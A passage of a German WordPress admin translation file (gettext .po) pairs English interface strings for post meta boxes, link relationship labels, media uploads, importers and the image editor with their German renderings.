"###ADMIN_URL###\n" "\n" "Wenn du keine Änderung vornehmen möchtest, kannst du diese E-Mail ignorieren und löschen. \n" "\n" "Diese E-Mail wurde an die Adresse ###EMAIL### versandt. \n" "\n" "Viele Grüße, \n" "von allen auf ###SITENAME### \n" "###SITEURL###" #. translators: %s: Date and time. #: wp-admin/includes/misc.php:1254 msgid "Draft saved at %s." msgstr "Entwurf wurde um %s Uhr gespeichert." #. translators: Draft saved date format, see #. https://www.php.net/manual/datetime.format.php #: wp-admin/includes/misc.php:1250 msgid "g:i:s a" msgstr "G:i:s" #: wp-admin/includes/misc.php:1246 wp-admin/includes/post.php:1958 #: wp-admin/widgets.php:382 msgid "Error while saving." msgstr "Fehler beim Speichern." #. translators: %s: User's display name. #: wp-admin/includes/misc.php:1128 msgid "%s has taken over and is currently editing." msgstr "%s hat übernommen und bearbeitet momentan." #: wp-admin/includes/misc.php:952 wp-admin/user-edit.php:299 msgid "Admin Color Scheme" msgstr "Farbschema verwalten" #: wp-admin/includes/misc.php:388 wp-admin/includes/misc.php:477 msgid "folder" msgstr "Ordner" #. translators: 1: Marker. #: wp-admin/includes/misc.php:136 msgid "" "The directives (lines) between \"BEGIN %1$s\" and \"END %1$s\" are\n" "dynamically generated, and should only be modified via WordPress filters.\n" "Any changes to the directives between these markers will be overwritten." msgstr "" "Die Anweisungen (Zeilen) zwischen „BEGIN %1$s“ und „END %1$s“ sind\n" "dynamisch generiert und sollten nur über WordPress-Filter geändert werden.\n" "Alle Änderungen an den Anweisungen zwischen diesen Markierungen werden überschrieben." #: wp-admin/includes/meta-boxes.php:1520 msgid "Custom Fields" msgstr "Individuelle Felder" #: wp-admin/includes/meta-boxes.php:1514 msgid "Send Trackbacks" msgstr "Trackbacks senden" #: wp-admin/includes/meta-boxes.php:1372 msgid "(Leave at 0 for no rating.)" msgstr "(Bei 0 belassen, wenn es keine Bewertung geben soll.)" #: wp-admin/includes/meta-boxes.php:1357 msgid "Notes" msgstr "Notizen" #: wp-admin/includes/meta-boxes.php:1353 msgid "RSS Address" msgstr "RSS-Adresse" #: wp-admin/includes/meta-boxes.php:1349 msgid "Image Address" msgstr "Bild-Adresse" #: wp-admin/includes/meta-boxes.php:1334 msgid "If the link is to a person, you can specify your relationship with them using the above form. If you would like to learn more about the idea check out <a href=\"https://gmpg.org/xfn/\">XFN</a>." msgstr "Wenn der Link zu einer Person führt, kannst du deine Beziehung zu dieser Person mithilfe des obigen Formulars angeben. Wenn du mehr über die Idee erfahren möchtest, schau unter <a href=\"https://gmpg.org/xfn/\">XFN</a> nach." #. translators: xfn: https://gmpg.org/xfn #: wp-admin/includes/meta-boxes.php:1328 msgid "sweetheart" msgstr "Liebling" #. translators: xfn: https://gmpg.org/xfn #: wp-admin/includes/meta-boxes.php:1325 msgid "date" msgstr "Verabredung" #. translators: xfn: https://gmpg.org/xfn #: wp-admin/includes/meta-boxes.php:1322 msgid "crush" msgstr "verrückt nach" #. translators: xfn: https://gmpg.org/xfn #: wp-admin/includes/meta-boxes.php:1319 msgid "muse" msgstr "Muse" #. translators: xfn: https://gmpg.org/xfn #: wp-admin/includes/meta-boxes.php:1316 wp-admin/includes/meta-boxes.php:1317 msgid "romantic" msgstr "Verhältnis" #. translators: xfn: https://gmpg.org/xfn #: wp-admin/includes/meta-boxes.php:1308 msgid "spouse" msgstr "Partner" #. translators: xfn: https://gmpg.org/xfn #: wp-admin/includes/meta-boxes.php:1305 msgid "sibling" msgstr "Geschwister" #. translators: xfn: https://gmpg.org/xfn #: wp-admin/includes/meta-boxes.php:1302 msgid "parent" msgstr "Eltern" #. translators: xfn: https://gmpg.org/xfn #: wp-admin/includes/meta-boxes.php:1299 msgid "kin" msgstr "Angehörige" #. translators: xfn: https://gmpg.org/xfn #: wp-admin/includes/meta-boxes.php:1296 msgid "child" msgstr "Kind" #. translators: xfn: https://gmpg.org/xfn #: wp-admin/includes/meta-boxes.php:1293 wp-admin/includes/meta-boxes.php:1294 msgid "family" msgstr "Familie" #. translators: xfn: https://gmpg.org/xfn #: wp-admin/includes/meta-boxes.php:1285 msgid "neighbor" msgstr "Nachbar" #. translators: xfn: https://gmpg.org/xfn #: wp-admin/includes/meta-boxes.php:1282 msgid "co-resident" msgstr "Mitbewohner" #. translators: xfn: https://gmpg.org/xfn #: wp-admin/includes/meta-boxes.php:1279 wp-admin/includes/meta-boxes.php:1280 msgid "geographical" msgstr "Umfeld" #. translators: xfn: https://gmpg.org/xfn #: wp-admin/includes/meta-boxes.php:1274 msgid "colleague" msgstr "Kollege" #. translators: xfn: https://gmpg.org/xfn #: wp-admin/includes/meta-boxes.php:1271 msgid "co-worker" msgstr "Mitarbeiter" #. translators: xfn: https://gmpg.org/xfn #: wp-admin/includes/meta-boxes.php:1268 wp-admin/includes/meta-boxes.php:1269 msgid "professional" msgstr "beruflich" #. translators: xfn: https://gmpg.org/xfn #: wp-admin/includes/meta-boxes.php:1263 msgid "met" msgstr "getroffen" #. translators: xfn: https://gmpg.org/xfn #: wp-admin/includes/meta-boxes.php:1260 wp-admin/includes/meta-boxes.php:1261 msgid "physical" msgstr "reale Welt" #. translators: xfn: https://gmpg.org/xfn #: wp-admin/includes/meta-boxes.php:1255 wp-admin/includes/meta-boxes.php:1288 #: wp-admin/includes/meta-boxes.php:1311 msgid "none" msgstr "keine" #. translators: xfn: https://gmpg.org/xfn #: wp-admin/includes/meta-boxes.php:1252 msgid "friend" msgstr "Freund" #. translators: xfn: https://gmpg.org/xfn #: wp-admin/includes/meta-boxes.php:1249 msgid "acquaintance" msgstr "Bekannschaft" #. translators: xfn: https://gmpg.org/xfn #: wp-admin/includes/meta-boxes.php:1246 msgid "contact" msgstr "Kontakt" #. translators: xfn: https://gmpg.org/xfn #: wp-admin/includes/meta-boxes.php:1243 wp-admin/includes/meta-boxes.php:1244 msgid "friendship" msgstr "Freundschaft" #: wp-admin/includes/meta-boxes.php:1239 msgid "another web address of mine" msgstr "eine weitere meiner Webadressen" #. translators: xfn: https://gmpg.org/xfn #: wp-admin/includes/meta-boxes.php:1235 wp-admin/includes/meta-boxes.php:1236 msgid "identity" msgstr "Identität" #. translators: xfn: https://gmpg.org/xfn #: wp-admin/includes/meta-boxes.php:1231 msgid "rel:" msgstr "Beziehung" #: wp-admin/includes/meta-boxes.php:1175 msgid "Choose the target frame for your link." msgstr "Wähle das Ziel für deine Links." #: wp-admin/includes/meta-boxes.php:1173 msgid "<code>_none</code> — same window or tab." msgstr "<code>_none</code> – dasselbe Fenster oder derselbe Tab." #: wp-admin/includes/meta-boxes.php:1170 msgid "<code>_top</code> — current window or tab, with no frames." msgstr "<code>_top</code> – aktuelles Fenster oder aktueller Tab, ohne Frames." #: wp-admin/includes/meta-boxes.php:1167 msgid "<code>_blank</code> — new window or tab." msgstr "<code>_blank</code> – neues Fenster oder neuer Tab." #: wp-admin/includes/meta-boxes.php:1144 msgid "New category name" msgstr "Neuer Kategoriename" #: wp-admin/includes/meta-boxes.php:1141 wp-admin/includes/meta-boxes.php:1143 msgid "+ Add New Category" msgstr "+ Neue Kategorie hinzufügen" #: wp-admin/includes/meta-boxes.php:1118 msgid "All categories" msgstr "Alle Kategorien" #: wp-admin/includes/meta-boxes.php:1060 msgid "Keep this link private" msgstr "Diesen Link als Privat markieren" #: wp-admin/includes/meta-boxes.php:1052 msgid "Visit Link" msgstr "Link besuchen" #: wp-admin/includes/meta-boxes.php:1021 msgid "Need help? Use the Help tab above the screen title." msgstr "Brauchst du Hilfe? Benutze den Tab „Hilfe“ oben am Bildschirm." #: wp-admin/includes/meta-boxes.php:948 msgid "(no parent)" msgstr "Hauptseite (keine Übergeordnete)" #: wp-admin/includes/meta-boxes.php:872 msgid "Show comments" msgstr "Kommentare zeigen" #: wp-admin/includes/meta-boxes.php:862 msgid "No comments yet." msgstr "Bisher keine Kommentare." #: wp-admin/includes/meta-boxes.php:848 wp-admin/includes/template.php:494 msgid "Add Comment" msgstr "Kommentar hinzufügen" #: wp-admin/includes/meta-boxes.php:807 msgid "https://wordpress.org/support/article/introduction-to-blogging/#managing-comments" msgstr "https://wordpress.org/support/article/introduction-to-blogging/#managing-comments" #. translators: %s: Documentation URL. #: wp-admin/includes/meta-boxes.php:806 msgid "Allow <a href=\"%s\">trackbacks and pingbacks</a> on this page" msgstr "<a href=\"%s\">Trackbacks und Pingbacks</a> auf diese Seite erlauben." #: wp-admin/includes/meta-boxes.php:783 msgid "https://wordpress.org/support/article/custom-fields/" msgstr "https://wordpress.org/support/article/custom-fields/" #. translators: %s: Documentation URL. #: wp-admin/includes/meta-boxes.php:782 msgid "Custom fields can be used to add extra metadata to a post that you can <a href=\"%s\">use in your theme</a>." msgstr "Individuelle Felder können verwendet werden, um zusätzliche Metadaten zu einem Beitrag hinzuzufügen, die dann <a href=\"%s\">in deinem Theme verwendet</a> werden können." #: wp-admin/includes/meta-boxes.php:746 msgid "https://wordpress.org/support/article/introduction-to-blogging/#comments" msgstr "https://wordpress.org/support/article/introduction-to-blogging/#comments" #. translators: %s: Documentation URL. #: wp-admin/includes/meta-boxes.php:745 msgid "Trackbacks are a way to notify legacy blog systems that you’ve linked to them. If you link other WordPress sites, they’ll be notified automatically using <a href=\"%s\">pingbacks</a>, no other action necessary." msgstr "Trackbacks sind eine Möglichkeit, Blog-Systeme zu informieren, dass du diese verlinkt hast. Wenn zu anderen WordPress-Websites verlinkt wird, werden diese automatisch mittels <a href=\"%s\">Pingbacks</a> informiert, es sind keine weiteren Maßnahmen erforderlich." #: wp-admin/includes/meta-boxes.php:740 msgid "Separate multiple URLs with spaces" msgstr "Mehrere URLs durch Leerzeichen trennen" #: wp-admin/includes/meta-boxes.php:737 msgid "Send trackbacks to:" msgstr "Sende Trackbacks an:" #: wp-admin/includes/meta-boxes.php:727 msgid "Already pinged:" msgstr "Bereits gepingt:" #. translators: %s: Documentation URL. #: wp-admin/includes/meta-boxes.php:707 msgid "Excerpts are optional hand-crafted summaries of your content that can be used in your theme. <a href=\"%s\">Learn more about manual excerpts</a>." msgstr "Textauszüge sind optionale, von Hand erstellte Zusammenfassungen deiner Inhalte, die in deinem Theme verwendet werden können. <a href=\"%s\">Erfahre mehr über manuelle Textauszüge (engl.)</a>." #: wp-admin/includes/meta-boxes.php:494 wp-admin/includes/theme.php:316 msgid "Post Formats" msgstr "Beitragsformate" #. translators: Attachment information. %s: Date the attachment was uploaded. #: wp-admin/includes/meta-boxes.php:415 msgid "Uploaded on: %s" msgstr "Hochgeladen am: %s" #: wp-admin/includes/meta-boxes.php:353 wp-admin/includes/meta-boxes.php:354 #: wp-admin/js/post.js:766 msgctxt "post action/button label" msgid "Schedule" msgstr "Planen" #. translators: %s: URL to the Customizer. #: wp-admin/includes/meta-boxes.php:289 msgid "This draft comes from your <a href=\"%s\">unpublished customization changes</a>. You can edit, but there’s no need to publish now. It will be published automatically with those changes." msgstr "Dieser Entwurf stammt aus deinen <a href=\"%s\">nicht veröffentlichten Customizer Änderungen</a>. Du kannst ihn bearbeiten, musst ihn aber nicht sofort veröffentlichen. Er wird automatisch mit diesen Änderungen veröffentlicht." #: wp-admin/includes/meta-boxes.php:259 msgid "Browse revisions" msgstr "Revisionen durchsuchen" #: wp-admin/includes/meta-boxes.php:259 msgctxt "revisions" msgid "Browse" msgstr "Anzeigen" #. translators: Post revisions heading. %s: The number of available revisions. #: wp-admin/includes/meta-boxes.php:257 msgid "Revisions: %s" msgstr "Revisionen: %s" #. translators: Post date information. %s: Date on which the post is to be #. published. #: wp-admin/includes/meta-boxes.php:236 msgid "Publish on: %s" msgstr "Datum der Veröffentlichung: %s" #. translators: Post date information. %s: Date on which the post is to be #. published. #: wp-admin/includes/meta-boxes.php:233 msgid "Schedule for: %s" msgstr "Zeitplanung für: %s" #: wp-admin/includes/meta-boxes.php:230 wp-admin/includes/meta-boxes.php:244 msgid "Publish <b>immediately</b>" msgstr "<b>Sofort</b> veröffentlichen" #. translators: Post date information. %s: Date on which the post was #. published. #: wp-admin/includes/meta-boxes.php:228 msgid "Published on: %s" msgstr "Veröffentlicht am: %s" #. translators: Post date information. %s: Date on which the post is currently #. scheduled to be published. #: wp-admin/includes/meta-boxes.php:225 msgid "Scheduled for: %s" msgstr "Geplant für: %s" #: wp-admin/includes/meta-boxes.php:198 msgid "Stick this post to the front page" msgstr "Beitrag auf der Startseite halten" #: wp-admin/includes/meta-boxes.php:186 msgid "Edit visibility" msgstr "Sichtbarkeit ändern" #: wp-admin/includes/meta-boxes.php:175 wp-admin/js/post.js:874 msgid "Public, Sticky" msgstr "Öffentlich, oben gehalten" #: wp-admin/includes/meta-boxes.php:138 msgid "Set status" msgstr "Status setzen" #: wp-admin/includes/meta-boxes.php:134 msgid "Edit status" msgstr "Status ändern" #: wp-admin/includes/meta-boxes.php:108 wp-admin/includes/meta-boxes.php:143 #: wp-admin/js/post.js:797 wp-admin/js/post.js:799 msgid "Privately Published" msgstr "Privat veröffentlicht" #: wp-admin/includes/meta-boxes.php:71 msgid "Preview Changes" msgstr "Vorschau der Änderungen" #: wp-admin/includes/meta-boxes.php:59 wp-admin/js/post.js:828 msgid "Save as Pending" msgstr "Als ausstehend speichern" #: wp-admin/includes/menu.php:350 wp-admin/my-sites.php:17 #: wp-admin/network/index.php:17 wp-admin/network/settings.php:17 #: wp-admin/network/site-info.php:32 wp-admin/network/site-settings.php:32 #: wp-admin/network/site-themes.php:57 wp-admin/network/site-users.php:50 #: wp-admin/network/sites.php:14 wp-admin/network/sites.php:140 #: wp-admin/network/upgrade.php:38 wp-admin/network/user-new.php:37 #: wp-admin/network/users.php:14 wp-admin/network/users.php:24 #: wp-admin/network/users.php:46 wp-admin/network/users.php:60 #: wp-admin/network/users.php:150 msgid "Sorry, you are not allowed to access this page." msgstr "Du bist leider nicht berechtigt, auf diese Seite zuzugreifen." #: wp-admin/includes/media.php:3431 msgid "Audio Codec:" msgstr "Audio-Codec:" #: wp-admin/includes/media.php:3430 msgid "Audio Format:" msgstr "Audioformat:" #: wp-admin/includes/media.php:3255 msgid "Displayed on attachment pages." msgstr "Wird auf Anhangseiten angezeigt." #. translators: 1: Link start tag, 2: Link end tag, 3: Width, 4: Height. #: wp-admin/includes/media.php:3070 msgid "Scale images to match the large size selected in %1$simage options%2$s (%3$d × %4$d)." msgstr "Bilder skalieren, um die Maximale Bildgröße aus %1$sBildoptionen%2$s (%3$d × %4$d) zu erfüllen." #: wp-admin/includes/media.php:3038 msgid "You are using the browser’s built-in file uploader. The WordPress uploader includes multiple file selection and drag and drop capability. <a href=\"#\">Switch to the multi-file uploader</a>." msgstr "Du benutzt den im Browser integrierten Datei-Uploader. Der WordPress-Uploader beinhaltet eine Mehrfachauswahl und eine Drag-and-drop-Funktion. <a href=\"#\">Zum WordPress-Uploader wechseln</a>." #. translators: 1: URL to browser uploader, 2: Additional link attributes. #: wp-admin/includes/media.php:3021 msgid "You are using the multi-file uploader. Problems? Try the <a href=\"%1$s\" %2$s>browser uploader</a> instead." msgstr "Du benutzt den Uploader für mehrere Dateien. Treten Probleme auf? Benutze stattdessen den <a href=\"%1$s\" %2$s>Browser-Uploader</a>." #: wp-admin/includes/media.php:2981 msgid "Link to image" msgstr "Mit Bild verlinken" #: wp-admin/includes/media.php:2976 msgid "Link Image To:" msgstr "Mit Bild verlinken:" #: wp-admin/includes/media.php:2950 msgid "Link text, e.g. “Ransom Demands (PDF)”" msgstr "Link-Text, z. B. „Airheads – Sie haben den Beat (PDF)“" #: wp-admin/includes/media.php:2929 msgid "Audio, Video, or Other File" msgstr "Audio, Video oder eine andere Datei" #: wp-admin/includes/media.php:2906 msgid "Image Caption" msgstr "Bildbeschriftung" #: wp-admin/includes/media.php:2858 msgid "Filter »" msgstr "Auswahl einschränken »" #: wp-admin/includes/media.php:2809 wp-admin/includes/nav-menu.php:464 #: wp-admin/includes/nav-menu.php:750 msgid "»" msgstr "»" #: wp-admin/includes/media.php:2808 wp-admin/includes/nav-menu.php:463 #: wp-admin/includes/nav-menu.php:749 msgid "«" msgstr "«" #: wp-admin/includes/media.php:2766 msgid "All Types" msgstr "Alle Arten" #: wp-admin/includes/media.php:2729 wp-admin/includes/media.php:2731 msgid "Search Media" msgstr "Dateien suchen" #: wp-admin/includes/media.php:2670 msgid "Update gallery settings" msgstr "Galerie-Einstellungen aktualisieren" #: wp-admin/includes/media.php:2649 msgid "Gallery columns:" msgstr "Galeriespalten" #: wp-admin/includes/media.php:2634 msgid "Order:" msgstr "Reihenfolge:" #: wp-admin/includes/media.php:2626 msgid "Random" msgstr "Zufällig" #: wp-admin/includes/media.php:2625 msgid "Date/Time" msgstr "Datum/Zeit" #: wp-admin/includes/media.php:2623 msgid "Menu order" msgstr "Menüreihenfolge" #: wp-admin/includes/media.php:2618 msgid "Order images by:" msgstr "Bilder anordnern nach:" #: wp-admin/includes/media.php:2608 msgid "Image File" msgstr "Bilddatei" #: wp-admin/includes/media.php:2603 msgid "Link thumbnails to:" msgstr "Vorschaubilder verlinken auf:" #: wp-admin/includes/media.php:2571 #: wp-admin/includes/class-wp-ms-sites-list-table.php:370 msgid "Actions" msgstr "Aktionen" #: wp-admin/includes/media.php:2562 msgctxt "verb" msgid "Clear" msgstr "Zurücksetzen" #: wp-admin/includes/media.php:2561 wp-admin/includes/media.php:2642 msgid "Descending" msgstr "Absteigend" #: wp-admin/includes/media.php:2560 wp-admin/includes/media.php:2639 msgid "Ascending" msgstr "Aufsteigend" #: wp-admin/includes/media.php:2559 msgid "Sort Order:" msgstr "Sortierung:" #: wp-admin/includes/media.php:2555 msgid "All Tabs:" msgstr "Alle Tabs:" #: wp-admin/includes/media.php:2401 msgid "Insert media from another website" msgstr "Medien von einer anderen Website einfügen" #: wp-admin/includes/media.php:2363 wp-admin/includes/media.php:2582 #: wp-admin/includes/media.php:2885 msgid "Save all changes" msgstr "Alle Änderungen speichern" #: wp-admin/includes/media.php:2333 msgid "Add media files from your computer" msgstr "Mediendateien von deinem Computer hinzufügen" #: wp-admin/includes/media.php:1732 wp-admin/upgrade.php:74 #: wp-admin/upgrade.php:154 msgid "Continue" msgstr "Weiter" #. translators: %s: File name. #: wp-admin/includes/media.php:1731 msgid "You are about to delete %s." msgstr "Du bist dabei, %s zu löschen." #: wp-admin/includes/media.php:1720 wp-admin/includes/media.php:2987 #: wp-admin/includes/media.php:2993 msgid "Insert into Post" msgstr "In Beitrag einfügen" #: wp-admin/includes/media.php:1694 msgid "Upload date:" msgstr "Upload-Datum:" #: wp-admin/includes/media.php:1611 wp-admin/includes/media.php:2557 #: wp-admin/install.php:146 wp-admin/user-edit.php:641 #: wp-admin/user-new.php:571 wp-admin/js/user-profile.js:74 msgid "Hide" msgstr "Verstecken" #: wp-admin/includes/media.php:1610 wp-admin/includes/media.php:2556 #: wp-admin/js/user-profile.js:74 msgid "Show" msgstr "Anzeigen" #: wp-admin/includes/media.php:1476 wp-admin/includes/media.php:2957 msgid "Alt text for the image, e.g. “The Mona Lisa”" msgstr "Beschreibung des Bildes, z. B. „Die Mona Lisa“" #: wp-admin/includes/media.php:1419 msgid "Location of the uploaded file." msgstr "Ort der hochgeladenen Datei." #: wp-admin/includes/media.php:1408 wp-admin/includes/media.php:2982 msgid "Enter a link URL or click above for presets." msgstr "Gib eine Web-Adresse ein oder klick oben, um Vorgaben zu verwenden." #: wp-admin/includes/media.php:1405 msgid "Link URL" msgstr "Web-Adresse" #: wp-admin/includes/media.php:1333 msgid "Empty Title filled from filename." msgstr "Wenn kein Titel angegeben wird, wird der Dateiname eingesetzt." #: wp-admin/includes/media.php:1255 msgid "Attachment Post URL" msgstr "URL des Anhangs" #: wp-admin/includes/media.php:1254 wp-admin/includes/media.php:1415 msgid "File URL" msgstr "Datei-URL" #: wp-admin/includes/media.php:1010 msgid "Invalid image URL." msgstr "Ungültige Bild-URL." #: wp-admin/includes/media.php:522 msgid "Uploads" msgstr "Uploads" #. translators: Audio file genre information. %s: Audio genre name. #: wp-admin/includes/media.php:375 msgid "Genre: %s." msgstr "Genre: %s." #. translators: Audio file track information. %s: Audio track number. #: wp-admin/includes/media.php:369 msgid "Track %s." msgstr "%s verfolgen." #. translators: Audio file track information. 1: Audio track number, 2: Total #. audio tracks. #: wp-admin/includes/media.php:366 msgid "Track %1$s of %2$s." msgstr "Titel %1$s von %2$s." #. translators: Audio file track information. %d: Year of audio track release. #: wp-admin/includes/media.php:358 msgid "Released: %d." msgstr "Veröffentlicht: %d." #. translators: 1: Audio album title, 2: Artist name. #: wp-admin/includes/media.php:346 msgid "%1$s by %2$s." msgstr "%1$s von %2$s." #. translators: %s: Audio track title. #: wp-admin/includes/media.php:340 msgid "\"%s\"." msgstr "\"%s\"." #. translators: 1: Audio track title, 2: Artist name. #: wp-admin/includes/media.php:337 msgid "\"%1$s\" by %2$s." msgstr "\"%1$s\" von %2$s." #. translators: 1: Audio track title, 2: Album title. #: wp-admin/includes/media.php:334 msgid "\"%1$s\" from %2$s." msgstr "\"%1$s\" aus %2$s." #. translators: 1: Audio track title, 2: Album title, 3: Artist name. #: wp-admin/includes/media.php:331 msgid "\"%1$s\" from %2$s by %3$s." msgstr "\"%1$s\" aus %2$s von %3$s." #. translators: %s: Number of attachments. #: wp-admin/includes/media.php:64 msgid "Gallery (%s)" msgstr "Galerie (%s)" #: wp-admin/includes/media.php:19 msgid "From URL" msgstr "Von URL" #: wp-admin/includes/media.php:18 msgid "From Computer" msgstr "Vom Computer" #: wp-admin/includes/import.php:227 msgid "Import posts, pages, comments, custom fields, categories, and tags from a WordPress export file." msgstr "Beiträge, Seiten, Kommentare, individuelle Felder, Kategorien und Schlagwörter aus einer WordPress-Export-Datei importieren." #: wp-admin/includes/import.php:221 msgid "Import posts & media from Tumblr using their API." msgstr "Beiträge und Medien von Tumblr über deren API importieren." #: wp-admin/includes/import.php:220 msgid "Tumblr" msgstr "Tumblr" #: wp-admin/includes/import.php:215 msgid "Import posts from an RSS feed." msgstr "Beiträge von einem RSS-Feed importieren." #: wp-admin/includes/import.php:209 msgid "Import posts and comments from a Movable Type or TypePad blog." msgstr "Beiträge und Kommentare von einem Movable Type- oder TypePad-Blog importieren." #: wp-admin/includes/import.php:208 msgid "Movable Type and TypePad" msgstr "Movable Type und TypePad" #: wp-admin/includes/import.php:203 msgid "Import posts from LiveJournal using their API." msgstr "Beiträge von LiveJournal über deren API importieren." #: wp-admin/includes/import.php:202 msgid "LiveJournal" msgstr "LiveJournal" #: wp-admin/includes/import.php:197 msgid "Convert existing categories to tags or tags to categories, selectively." msgstr "Konvertiere wahlweise existierende Kategorien in Schlagwörter oder Schlagwörter in Kategorien." #: wp-admin/includes/import.php:196 wp-admin/tools.php:47 wp-admin/tools.php:72 msgid "Categories and Tags Converter" msgstr "Kategorie- und Schlagwort-Konverter" #: wp-admin/includes/import.php:191 msgid "Import posts, comments, and users from a Blogger blog." msgstr "Beiträge, Kommentare und Benutzer von einem Blogger-Blog importieren." #: wp-admin/includes/import.php:190 msgid "Blogger" msgstr "Blogger" #: wp-admin/includes/image.php:161 msgid "The attached file cannot be found." msgstr "Die angehängte Datei kann nicht gefunden werden." #: wp-admin/includes/image-edit.php:995 msgid "Image saved" msgstr "Das Bild wurde gespeichert" #: wp-admin/includes/image-edit.php:867 msgid "Unable to save the image." msgstr "Das Bild konnte nicht gespeichert werden." #: wp-admin/includes/image-edit.php:818 msgid "Nothing to save, the image has not changed." msgstr "Es gibt nichts zu speichern, das Bild wurde nicht verändert." #: wp-admin/includes/image-edit.php:809 msgid "Error while saving the scaled image. Please reload the page and try again." msgstr "Fehler beim Speichern des skalierten Bildes. Bitte lade die Seite neu und versuche es nochmal." #: wp-admin/includes/image-edit.php:785 msgid "Unable to create new image." msgstr "Neues Bild konnte nicht erstellt werden." #: wp-admin/includes/image-edit.php:758 msgid "Image restored successfully." msgstr "Das Bild wurde erfolgreich wiederhergestellt." #: wp-admin/includes/image-edit.php:756 msgid "Image metadata is inconsistent." msgstr "Die Bild-Metadaten sind inkonsistent." #: wp-admin/includes/image-edit.php:751 msgid "Cannot save image metadata." msgstr "Die Bild-Metadaten konnten nicht gespeichert werden." #: wp-admin/includes/image-edit.php:691 msgid "Cannot load image metadata." msgstr "Die Bild-Metadaten konnten nicht geladen werden." #. translators: 1: $image, 2: WP_Image_Editor #: wp-admin/includes/image-edit.php:286 wp-admin/includes/image-edit.php:355 #: wp-admin/includes/image-edit.php:515 msgid "%1$s needs to be a %2$s object." msgstr "%1$s muss ein %2$s Objekt sein." #: wp-admin/includes/image-edit.php:251 msgid "There are unsaved changes that will be lost. 'OK' to continue, 'Cancel' to return to the Image Editor." msgstr "Es sind ungesicherte Änderungen vorhanden, welche verloren gehen. ‚OK‘ zum Fortfahren, ‚Abbrechen‘, um zum Bildeditor zurückzukehren." #: wp-admin/includes/image-edit.php:239 msgid "All sizes except thumbnail" msgstr "Alle Größen außer dem Vorschaubild" #: wp-admin/includes/image-edit.php:229 msgid "All image sizes" msgstr "Alle Bildgrößen" #: wp-admin/includes/image-edit.php:225 msgid "Apply changes to:" msgstr "Änderungen anwenden auf:" #: wp-admin/includes/image-edit.php:220 msgid "Current thumbnail" msgstr "Das aktuelle Vorschaubild" #: wp-admin/includes/image-edit.php:214 msgid "You can edit the image while preserving the thumbnail. For example, you may wish to have a square thumbnail that displays just a section of the image." msgstr "Du kannst das Bild unter Beibehaltung der Miniaturansicht bearbeiten. Zum Beispiel möchtest du vielleicht ein quadratisches Miniaturbild, das nur einen Ausschnitt des Bildes zeigt." #: wp-admin/includes/image-edit.php:212 msgid "Thumbnail Settings Help" msgstr "Hilfe Vorschaubild-Einstellungen" #: wp-admin/includes/image-edit.php:211 msgid "Thumbnail Settings" msgstr "Vorschaubild-Einstellungen" #: wp-admin/includes/image-edit.php:197 msgid "selection height" msgstr "Höhe für die Auswahl" #: wp-admin/includes/image-edit.php:194 msgid "selection width" msgstr "Breite für die Auswahl" #: wp-admin/includes/image-edit.php:192 msgid "Selection:" msgstr "Auswahl:" #: wp-admin/includes/image-edit.php:186 msgid "crop ratio height" msgstr "Höhe für den Bildausschnitt" #: wp-admin/includes/image-edit.php:183 msgid "crop ratio width" msgstr "Breite für den Bildausschnitt" #: wp-admin/includes/image-edit.php:181 msgid "Aspect ratio:" msgstr "Bildformat:" #: wp-admin/includes/image-edit.php:176 msgid "Once you have made your selection, you can adjust it by entering the size in pixels. The minimum selection size is the thumbnail size as set in the Media settings." msgstr "Nachdem du deine Auswahl getroffen hast, kannst du diese durch Eingabe der Größe in Pixel anpassen. Die minimale Auswahlgröße ist die Miniaturbildgröße, die in den Medien-Einstellungen festgelegt wurde." #: wp-admin/includes/image-edit.php:175 msgid "Crop Selection" msgstr "Ausschnittsbereich" #: wp-admin/includes/image-edit.php:173 msgid "The aspect ratio is the relationship between the width and height. You can preserve the aspect ratio by holding down the shift key while resizing your selection. Use the input box to specify the aspect ratio, e.g. 1:1 (square), 4:3, 16:9, etc." msgstr "Das Seitenverhältnis ist die Bildhöhe in Relation zur Bildbreite. Du kannst das Seitenverhältnis beibehalten, indem du die Steuerungstaste gedrückt hältst wenn du eine Größenänderung vornimmst. Verwende das Eingabefeld, um ein Seitenverhältnis festzulegen, z. B. 1:1 (quadratisch), 4:3, 16:9 usw." #: wp-admin/includes/image-edit.php:172 msgid "Crop Aspect Ratio" msgstr "Bildformat des Ausschnitts" #: wp-admin/includes/image-edit.php:170 msgid "To crop the image, click on it and drag to make your selection." msgstr "Um das Bild zu beschneiden, klicke darauf und ziehe, um die Auswahl zu treffen." #: wp-admin/includes/image-edit.php:167 msgid "Image Crop Help" msgstr "Hilfe für Bildausschnitte" #: wp-admin/includes/image-edit.php:166 msgid "Image Crop" msgstr "Bildausschnitt" #: wp-admin/includes/image-edit.php:156 msgid "Restore image" msgstr "Bild wiederherstellen" #: wp-admin/includes/image-edit.php:151 msgid "Previously edited copies of the image will not be deleted." msgstr "Bereits bearbeitete Kopien des Bildes werden nicht gelöscht." #: wp-admin/includes/image-edit.php:148 msgid "Discard any changes and restore the original image." msgstr "Änderungen verwerfen und Originalbild wiederherstellen." #: wp-admin/includes/image-edit.php:144 msgid "Restore original image" msgstr "Originalbild wiederherstellen" #: wp-admin/includes/image-edit.php:132 msgid "Scale" msgstr "Skalieren" #: wp-admin/includes/image-edit.php:129 msgid "scale height" msgstr "Höhe skalieren" #: wp-admin/includes/image-edit.php:126 msgid "scale width" msgstr "Breite skalieren" #: wp-admin/includes/image-edit.php:124 msgid "New dimensions:" msgstr "Neue Abmessungen:" #. translators: %s: Image width and height in pixels. #: wp-admin/includes/image-edit.php:115 msgid "Original dimensions %s" msgstr "Originalgröße %s" #: wp-admin/includes/image-edit.php:108 msgid "You can proportionally scale the original image. For best results, scaling should be done before you crop, flip, or rotate. Images can only be scaled down, not up." msgstr "Du kannst das Originalbild proportional skalieren. Für das beste Ergebnis sollte die Skalierung gemacht werden, bevor du das Bild zuschneidest, spiegelst oder drehst. Bilder können nur nach unten, nicht nach oben skaliert werden." #: wp-admin/includes/image-edit.php:106 msgid "Scale Image Help" msgstr "Hilfe für Bild-Skalierung" #: wp-admin/includes/image-edit.php:105 msgid "Scale Image" msgstr "Bild skalieren" #: wp-admin/includes/image-edit.php:77 msgid "Flip horizontal" msgstr "Horizontal umdrehen" #: wp-admin/includes/image-edit.php:76 msgid "Flip vertical" msgstr "Vertikal umdrehen" #: wp-admin/includes/image-edit.php:70 msgid "Image rotation is not supported by your web host." msgstr "Die Bildrotation wird von deinem Webhosting nicht unterstützt." #: wp-admin/includes/image-edit.php:67 msgid "Rotate right" msgstr "Nach rechts drehen" #: wp-admin/includes/image-edit.php:66 msgid "Rotate left" msgstr "Nach links drehen" #: wp-admin/includes/image-edit.php:28 